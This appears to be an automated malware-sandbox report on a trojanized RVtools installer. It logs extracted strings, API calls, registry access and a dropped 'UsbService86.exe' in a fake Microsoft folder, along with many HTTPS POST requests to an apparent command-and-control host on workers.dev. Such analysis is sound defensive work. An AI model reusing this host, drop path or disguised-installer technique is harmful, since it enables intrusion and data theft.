"https://wdcp.microsoft.com/wdcp.svc/submitreportdisableblockatfirstseenlocalsettingoverridesubmitsamplesconsentheartbeatsamplingrateheartbeatdelayindaysbypassinternetcheckssloptionslastmapssuccesstimemapslatencyretrytimeoutthreatseveritydefaultactionlastmapsfailuretimetsstarttimetsstatetssourcetsexpirationtimedisableprivacymodetsdailyquotauilockdownallowuseruiaccessnotification_suppressadvertiselastscheduledsuppresswdonotificationsuppressrebootnotificationpauseupdateexpirationtimepauseupdatestarttimedisablelastaccesstimesuppressionlastheartbeatsystimeproxyforceignorecacheinternalforceuupdisableasyncscanonclosedisableinjectionenablertpasyncthrottlingasynconopenvolumesdlpshowdialogsrtpasyncthrottlepercentvaluedlpdisableprintfileheuristicenablebrowserpasteenforcementdisablecopyaccelerationforsessionzerodlpdisablebrowsercachedynamicinjectionthresholdforcopyaccelerationdisabletpexclusionsdlpbrowsercachecleanupintervaldynamicinjectiontimewindowforcopyaccelerationdlpbrowsercloudegressbypassdurationdlpbrowserstalecachecleanupintervalfilterexperimentmodepreventplatformupdatempconfig_productcodenamecopyacceleratorcancellablecopysupportmpconfig_productpathmpconfig_productuserappdatapathmpconfig_productappdatapath12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_appdataroot\msmplics.dllmpconfig_reportingguidorrupted_previous_tspreferenceconfigs.snptpconfigsnapshot.snptspolicyconfigs.snphklm\failed" - Source: "00000000-00007744.00000001.266610.6718A000.00000002.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00007744.00000002.268528.62820000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00007744.00000002.268528.62820000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l" - Source: "00000000-00007744.00000002.268528.62B70000.00000004.mdmp") Found URL "https://importlib-resources.readthedocs.io/en/latest/using.html" - Source: "00000000-00007744.00000002.268528.63470000.00000004.mdmp") Found URL "https://docs.python.org/3/library/collections.abc.html" - Source: "00000000-00007744.00000002.268528.63470000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmax" - Source: "00000000-00007744.00000002.268528.7C3E0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00007744.00000002.268528.7C3E0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0lb" - Source: "00000000-00007744.00000002.268528.7C3E0000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%ld.htmlmpoav_forcedeepscan" - Source: "00000000-00007744.00000002.268528.87293000.00000002.mdmp")57:T812,Found HTTPS POST request to https://mud.alert-router-b3a.workers.dev//Ozt6OhXe4DHCP/ Found HTTPS POST request to https://mud.alert-router-b3a.workers.dev//EvgHgjJpcJXFDwE/ Found HTTPS POST request to https://mud.alert-router-b3a.workers.dev//GYKZPQC/ Found HTTPS POST request to https://mud.alert-router-b3a.workers.dev//44eQJ0s/ Found HTTPS POST request to https://mud.alert-router-b3a.workers.dev//nLriCsXJRY0pjU4/ Found HTTPS POST request to https://mud.alert-router-b3a.workers.dev//iecDFWSMaCxpk/ Found HTTPS POST request to https://mud.alert-router-b3a.workers.dev//hPtHsocy0bcT360/ Found HTTPS POST request to https://mud.alert-router-b3a.workers.dev//NN/ Found HTTPS POST request to https://mud.alert-router-b3a.workers.dev//ry4EIsEtVHR/ Found HTTPS POST request to https://mud.alert-router-b3a.workers.dev//r74NbQ1c/ Found HTTPS POST request to https://mud.alert-router-b3a.workers.dev//gWv3tvls/ Found HTTPS POST request to https://mud.alert-router-b3a.workers.dev//E73ib/ Found HTTPS POST request to https://mud.alert-router-b3a.workers.dev//CLWkKQif3TyoNex/ Found HTTPS POST request to https://mud.alert-router-b3a.workers.dev//yuJfqa5/ Found HTTPS POST request to https://mud.alert-router-b3a.workers.dev//4zE6wjXfPm/ Found HTTPS POST request to https://mud.alert-router-b3a.workers.dev//uMvizRgKWrm/ Found HTTPS POST request to https://mud.alert-router-b3a.workers.dev//YWk3LtlsTlh/ Found HTTPS POST request to https://mud.alert-router-b3a.workers.dev//VCO16JdjFVgrek/ Found HTTPS POST request to https://mud.alert-router-b3a.workers.dev//V5XnxYLTue5I/ Found HTTPS POST request to https://mud.alert-router-b3a.workers.dev//in1r8lCvwlvYh8/ Found HTTPS POST request to https://mud.alert-router-b3a.workers.dev//TqdRIC/ Found HTTPS POST request to https://mud.alert-router-b3a.workers.dev//Mgu/ Found HTTPS POST request to https://mud.alert-router-b3a.workers.dev//grVkfNP5YbS/ Found HTTPS POST request to https://mud.alert-router-b3a.workers.dev//Rv6/ Found HTTPS POST request to https://mud.alert-router-b3a.workers.dev//ReK8LTc/58:T89f,"start.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00004460) "start.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00004460) "start.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00004460) "start.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00004460) "start.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00004460) "start.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00004460) "start.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00004460) "start.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00004460) "start.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00004460) "start.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00004460) "start.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00004460) "start.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00004460) "start.exe" called "FindNextFileW" with parameter 3b9003e4f27d92e40668f0efad11e022 (UID: 00000000-00004460) "start.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\start\* (UID: 00000000-00004460) "start.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00004460) "start.exe" called "FindNextFileW" with parameter ce0fd4f5b50baa17e7b80e4ee874ad11 (UID: 00000000-00004460) "RVtools-4.7.0.2.exe" called "FindFirstFileW" with parameter %ALLUSERSPROFILE%\Microsoft\SystemWEB\Cert.txt (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "FindFirstFileW" with parameter %TEMP%\nsgDF58.tmp (UID: 00000000-00001196) "UsbService86.exe" called "FindFirstFileW" with parameter %ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\*.* (UID: 00000000-00007744) "UsbService86.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00007744) "UsbService86.exe" called "FindNextFileW" with parameter cffi (UID: 00000000-00007744)59:T125c,Found string "base64" (Indicator: "base64"; Source: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp") Found string "b64decode" (Indicator: "b64decode"; Source: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp") Found string "ystem.OfflineFiles.Encrypted" (Indicator: ".encrypt"; Source: "00000000-00004460.00000000.262966.03370000.00000002.mdmp") Found string "ystem.Security.EncryptionOwners" (Indicator: ".encrypt"; Source: "00000000-00004460.00000000.262966.03370000.00000002.mdmp") Found string "ystem.Security.EncryptionOwnersDisplay" (Indicator: ".encrypt"; Source: "00000000-00004460.00000000.262966.03370000.00000002.mdmp") Found string "ystem.ZipFolder.Encrypted" (Indicator: ".encrypt"; Source: "00000000-00004460.00000000.262966.03370000.00000002.mdmp") Found string "System.Security.EncryptionOwnersDisplay" (Indicator: ".encrypt"; Source: "00000000-00004460.00000000.262966.03500000.00000002.mdmp") Found string "System.Security.EncryptionOwners" (Indicator: ".encrypt"; Source: "00000000-00004460.00000000.262966.03500000.00000002.mdmp") Found string "System.OfflineFiles.Encrypted" (Indicator: ".encrypt"; Source: "00000000-00004460.00000000.262966.03500000.00000002.mdmp") Found string "System.ZipFolder.Encrypted" (Indicator: ".encrypt"; Source: "00000000-00004460.00000000.262966.03500000.00000002.mdmp") Found string "Decode the base32 encoded bytes-like object or ASCII string s." (Indicator: "base32"; Source: "00000000-00007744.00000000.264689.607D0000.00000004.mdmp, 00000000-00007744.00000001.266610.607D0000.00000004.mdmp, 00000000-00007744.00000002.268528.607D0000.00000004.mdmp") Found string "a zipfile, or to a specific path inside a zipfile. For example, it can be" (Indicator: "zipfile"; Source: "00000000-00007744.00000000.264689.625F0000.00000004.mdmp, 00000000-00007744.00000001.266610.625F0000.00000004.mdmp") Found string "zipfile targeted." (Indicator: "zipfile"; Source: "00000000-00007744.00000000.264689.625F0000.00000004.mdmp, 00000000-00007744.00000001.266610.625F0000.00000004.mdmp") Found string "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\python312.zip\base64.pyc" (Indicator: "base64"; Source: "00000000-00007744.00000000.264689.625F0000.00000004.mdmp, 00000000-00007744.00000001.266610.625F0000.00000004.mdmp") Found string "base64" (Indicator: "base64"; Source: "00000000-00007744.00000000.264689.625F0000.00000004.mdmp, 00000000-00007744.00000001.266610.625F0000.00000004.mdmp") Found string "tarfile" (Indicator: "tarfile"; Source: "00000000-00007744.00000000.264689.625F0000.00000004.mdmp, 00000000-00007744.00000000.264689.62D70000.00000004.mdmp, 00000000-00007744.00000001.266610.625F0000.00000004.mdmp, 00000000-00007744.00000002.268528.62D70000.00000004.mdmp") Found string "zipfile" (Indicator: "zipfile"; Source: "00000000-00007744.00000000.264689.625F0000.00000004.mdmp, 00000000-00007744.00000001.266610.625F0000.00000004.mdmp, 00000000-00007744.00000001.266610.F7180000.00000004.mdmp") Found string "encodings\base64_codec.pyc" (Indicator: "base64"; Source: "00000000-00007744.00000000.264689.625F0000.00000004.mdmp, 00000000-00007744.00000001.266610.625F0000.00000004.mdmp") Found string "base64.pyc" (Indicator: "base64"; Source: "00000000-00007744.00000000.264689.625F0000.00000004.mdmp, 00000000-00007744.00000001.266610.625F0000.00000004.mdmp") Found string "tarfile.pyc" (Indicator: "tarfile"; Source: "00000000-00007744.00000000.264689.625F0000.00000004.mdmp, 00000000-00007744.00000001.266610.625F0000.00000004.mdmp") Found string "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\python312.zip\tarfile.pyc" (Indicator: "tarfile"; Source: "00000000-00007744.00000000.264689.625F0000.00000004.mdmp, 00000000-00007744.00000001.266610.625F0000.00000004.mdmp") Found string "&Pdmail/baemail\base64mime.pyc" (Indicator: "base64"; Source: "00000000-00007744.00000000.264689.625F0000.00000004.mdmp, 00000000-00007744.00000001.266610.625F0000.00000004.mdmp") Found string "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\python312.zip\email\base64mime.pyc" (Indicator: "base64"; Source: "00000000-00007744.00000000.264689.625F0000.00000004.mdmp, 00000000-00007744.00000001.266610.625F0000.00000004.mdmp") Found string "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\python312.zip\encodings\base64_codec.pyc" (Indicator: "base64"; Source: "00000000-00007744.00000000.264689.625F0000.00000004.mdmp, 00000000-00007744.00000001.266610.625F0000.00000004.mdmp") Found string "C:\ProgramData\Microsoft\SystemWEB\SystemInfo\python312.zip\zipfile\__init__.pyc" (Indicator: "zipfile"; Source: "00000000-00007744.00000000.264689.62720000.00000004.mdmp, 00000000-00007744.00000001.266610.62720000.00000004.mdmp")5a:T5d2,Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "RVtools-4.7.0.2.msi") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "RVtools-4.7.0.2.msi") Found reference to API "GetEnvironmentStrings" (Indicator: "GetEnvironmentStrings"; File: "RVtools-4.7.0.2.msi") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "RVtools-4.7.0.2.msi") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "RVtools-4.7.0.2.msi") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "RVtools-4.7.0.2.msi") file/memory contains long string with (Indicator: "GetModuleHandle"; File: "nsExec.dll") file/memory contains long string with (Indicator: "GetCurrentProcess"; File: "nsExec.dll") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp")5b:T950,Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "RVtools-4.7.0.2.msi") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; File: "RVtools-4.7.0.2.msi") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "RVtools-4.7.0.2.msi") Found reference to API "GetTempFileNameW" (Indicator: "GetTempFileName"; File: "RVtools-4.7.0.2.msi") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; File: "RVtools-4.7.0.2.msi") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; File: "RVtools-4.7.0.2.msi") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; File: "RVtools-4.7.0.2.msi") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; File: "RVtools-4.7.0.2.msi") file/memory contains long string with (Indicator: "GetTempFileName"; File: "nsExec.dll") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00001196.00000000.263272.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00001196.00000000.263272.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00001196.00000000.263272.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp") Found reference to API "GetTempFileNameW" (Indicator: "GetTempFileName"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp, 00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00001196.00000001.265194.00408000.00000002.mdmp")5c:T1ae7,Found string "\Device\HarddiskVolume3\Windows\SysWOW64\msiexec.exe" (Indicator: "\Device\"; Source: "00000000-00001196-00000BC0-3108389385") Found string "\Device\HarddiskVolume3\Windows\SysWOW64\sc.exe" (Indicator: "\Device\"; Source: "00000000-00001196-00000BC0-3116624633") Found string "\Device\HarddiskVolume3\ProgramData\Microsoft\SystemWEB\SystemInfo\UsbService86.exe" (Indicator: "\Device\"; Source: "00000000-00001196-00000BC0-3126838820") Found string "\Device\HarddiskVolume3\Windows\System32\conhost.exe" (Indicator: "\Device\"; Source: "00000000-00008164-00000BC0-3116776100") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00001196.00000000.263272.005F0000.00000004.mdmp, 00000000-00001196.00000000.263272.022A0000.00000004.mdmp, 00000000-00001196.00000001.265194.005F0000.00000004.mdmp, 00000000-00001196.00000001.265194.00A40000.00000004.mdmp, 00000000-00001196.00000002.267111.005F0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00001196.00000000.263272.005F0000.00000004.mdmp, 00000000-00001196.00000000.263272.022A0000.00000004.mdmp, 00000000-00001196.00000001.265194.005F0000.00000004.mdmp, 00000000-00001196.00000001.265194.00A40000.00000004.mdmp, 00000000-00001196.00000002.267111.005F0000.00000004.mdmp") Found string ":\WINDOWS\system32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00001196.00000000.263272.005F0000.00000004.mdmp, 00000000-00001196.00000001.265194.005F0000.00000004.mdmp, 00000000-00001196.00000002.267111.005F0000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00001196.00000000.263272.005F0000.00000004.mdmp, 00000000-00001196.00000001.265194.005F0000.00000004.mdmp, 00000000-00001196.00000002.267111.005F0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00004460.00000000.262966.01350000.00000004.mdmp, 00000000-00004460.00000000.262966.01530000.00000004.mdmp, 00000000-00004460.00000000.262966.01AA0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00004460.00000000.262966.01350000.00000004.mdmp, 00000000-00004460.00000000.262966.01530000.00000004.mdmp, 00000000-00004460.00000000.262966.01AA0000.00000004.mdmp") Found string "\Device\HarddiskVolume3\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00004460.00000000.262966.01350000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00004460.00000000.262966.01350000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00007268.00000000.264360.03590000.00000004.mdmp, 00000000-00007268.00000000.264360.053B0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00007268.00000000.264360.03590000.00000004.mdmp, 00000000-00007268.00000000.264360.053B0000.00000004.mdmp") Found string "riverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00007268.00000000.264360.03590000.00000004.mdmp") Found string "riverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00007268.00000000.264360.03590000.00000004.mdmp") Found string "indows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00007268.00000000.264360.03590000.00000004.mdmp") Found string "indows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00007268.00000000.264360.03590000.00000004.mdmp") Found string "ws\System32\DriversC" (Indicator: "system32\drivers"; Source: "00000000-00007268.00000000.264360.03590000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00007744.00000000.264689.607D0000.00000004.mdmp, 00000000-00007744.00000000.264689.60A70000.00000004.mdmp, 00000000-00007744.00000000.264689.60C40000.00000004.mdmp, 00000000-00007744.00000000.264689.62FD2000.00000004.mdmp, 00000000-00007744.00000001.266610.607D0000.00000004.mdmp, 00000000-00007744.00000001.266610.60A70000.00000004.mdmp, 00000000-00007744.00000001.266610.60C40000.00000004.mdmp, 00000000-00007744.00000001.266610.62820000.00000004.mdmp, 00000000-00007744.00000001.266610.62B70000.00000004.mdmp, 00000000-00007744.00000001.266610.63180000.00000004.mdmp, 00000000-00007744.00000002.268528.607D0000.00000004.mdmp, 00000000-00007744.00000002.268528.60A70000.00000004.mdmp, 00000000-00007744.00000002.268528.62820000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00007744.00000000.264689.607D0000.00000004.mdmp, 00000000-00007744.00000000.264689.60A70000.00000004.mdmp, 00000000-00007744.00000000.264689.60C40000.00000004.mdmp, 00000000-00007744.00000000.264689.62FD2000.00000004.mdmp, 00000000-00007744.00000001.266610.607D0000.00000004.mdmp, 00000000-00007744.00000001.266610.60A70000.00000004.mdmp, 00000000-00007744.00000001.266610.60C40000.00000004.mdmp, 00000000-00007744.00000001.266610.62820000.00000004.mdmp, 00000000-00007744.00000001.266610.62B70000.00000004.mdmp, 00000000-00007744.00000001.266610.63180000.00000004.mdmp, 00000000-00007744.00000002.268528.607D0000.00000004.mdmp, 00000000-00007744.00000002.268528.60A70000.00000004.mdmp, 00000000-00007744.00000002.268528.62820000.00000004.mdmp") Found string "riverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00007744.00000000.264689.607D0000.00000004.mdmp, 00000000-00007744.00000001.266610.607D0000.00000004.mdmp, 00000000-00007744.00000002.268528.607D0000.00000004.mdmp") Found string "riverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00007744.00000000.264689.607D0000.00000004.mdmp, 00000000-00007744.00000001.266610.607D0000.00000004.mdmp, 00000000-00007744.00000002.268528.607D0000.00000004.mdmp") Found string "\Device\HarddiskVolume3\ProgramData\Microsoft\SystemWEB\SystemInfo\UsbService86.exe" (Indicator: "\Device\"; Source: "00000000-00007744.00000000.264689.607D0000.00000004.mdmp") Found string "C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00007744.00000000.264689.625F0000.00000004.mdmp, 00000000-00007744.00000001.266610.625F0000.00000004.mdmp") Found string "C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00007744.00000000.264689.625F0000.00000004.mdmp, 00000000-00007744.00000001.266610.625F0000.00000004.mdmp")5d:T583,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "RVtools-4.7.0.2.msi") file/memory contains long string with (Indicator: "InitializeSecurityDescriptor"; File: "nsExec.dll") file/memory contains long string with (Indicator: "SetSecurityDescriptorDacl"; File: "nsExec.dll") Found reference to API "SetSecurityDescriptorDacl" (Indicator: "SetSecurityDescriptorDacl"; File: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp") Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; File: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp") Found reference to API "GetSecurityDescriptorControl" (Indicator: "GetSecurityDescriptorControl"; File: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp") Found reference to API "SetSecurityDescriptorDacl" (Indicator: "SetSecurityDescriptorDacl"; Source: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; Source: "00000000-00001196.00000001.265194.0040A000.00000004.mdmp, 00000000-00001196.00000001.265194.72202000.00000002.mdmp") Found reference to API "GetSecurityDescriptorControl" (Indicator: "GetSecurityDescriptorControl"; Source: "00000000-00007268.00000000.264360.00F21000.00000020.mdmp")5e:Td08,"start.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LANMANWORKSTATION\PARAMETERS"; Key: "RPCCACHETIMEOUT"; Value: "") "start.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME3\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\MW-56CA7B88-5615-4A86-A71E-12B7ADA81EE2\FILES\RVTOOLS-4.7.0.2.EXE"; Value: "") "RVtools-4.7.0.2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSWOW64\MSIEXEC.EXE"; Value: "") "RVtools-4.7.0.2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "RVtools-4.7.0.2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSWOW64\SC.EXE"; Value: "") "RVtools-4.7.0.2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME3\PROGRAMDATA\MICROSOFT\SYSTEMWEB\SYSTEMINFO\USBSERVICE86.EXE"; Value: "") "sc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "UsbService86.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "UsbService86.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\SYSTEM32\WHOAMI.EXE"; Value: "") "UsbService86.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\STATE\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME3\WINDOWS\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CSC.EXE"; Value: "") "UsbService86.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "UsbService86.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "UsbService86.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "UsbService86.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "UsbService86.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES64"; Value: "") "UsbService86.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "UsbService86.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "UsbService86.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "")5f:T2120,"start.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC3475"; Value: "1C06000000000000040004000102090000000000190000000D787900010000001C390B01010000002FD60F02010000006B507E0018000000795344020600000087DE830071000000A19F5E0001000000F062570201000000FED37A0004000100000053000000276B69012D00000056737D00050000006B507E0005000000E6C5310002000400000001000000C49B7B0201000000EFBA8302020065000000FE130000E6C531000F000000F0E0B60001006800000001000000BC6EB40000") "start.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\SOFTWARE\MICROSOFT\TIP\AGGREGATERESULTS"; Key: "DATA"; Value: "D9A7A80101000300EC03F46F000000001D0000000000000049A8A801010103005C4614A6000000004400000000000000D1A8A8010101030064B65611000000009C00000000000000D1A8A80101000400FB3B54EB00000000610000001A000000C25CAB0101000200FECB062F0000000001000000E40C000023ACAD0102010400546DD0B400000000010000005B000000AFFBB9010100008055161AFB00000000010000001B3700002B7ABA010201070017EB54670000000002000000070000004428C30101000080469996A2000000001D0000002D0400004428C30103000040EFD5A1DB00000000030000005E0000004428C30104000100541F4AF4000000000E000000000000006597C90101010080EB47F5D000000000010000008E0000009F49DD010100008045734BE10000000007000000000000004959DD0101000400F34A296B0000000002000000C90100006A44DF010100008054528C5D00000000010000000D0100009178E10101000080DF19D73200000000010000000400000081F7E10104000100C177129C00000000460000002700000081F7E101047F02002AF214C20000000008000000BE000000EC9BE501010000806E4C67B60000000001000000000000000C84EA010101010077F4574600000000010000001B0000008C5FF20101000400EA